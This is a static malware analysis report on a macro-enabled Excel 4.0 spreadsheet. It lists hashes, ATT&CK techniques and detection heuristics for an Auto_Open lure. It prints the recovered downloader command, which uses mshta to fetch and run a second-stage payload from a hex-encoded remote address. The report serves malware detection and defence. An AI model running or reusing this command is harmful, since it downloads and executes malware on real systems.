Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d2a3bc8f8c7fd2b6…

MALICIOUS

Office (OLE) / .XLS

65.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: caac20a7355f3bf695078fea4b7df58c SHA-1: ded8fb1f417d036e671341c8f18fa1dd4f550397 SHA-256: d2a3bc8f8c7fd2b602269541e0a3c5f5f05812328cbff5ef233d56749e03bd1c
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204 Malicious Link T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet that employs a lure to trick users into enabling macros. Upon execution, the Auto_Open macro reconstructs and runs the command 'cmd /c mshta http://0xc12a24f5/cc.html', which is designed to download and execute a second-stage payload from the specified URL. The use of XLM macros and the specific command execution pattern suggest a downloader functionality.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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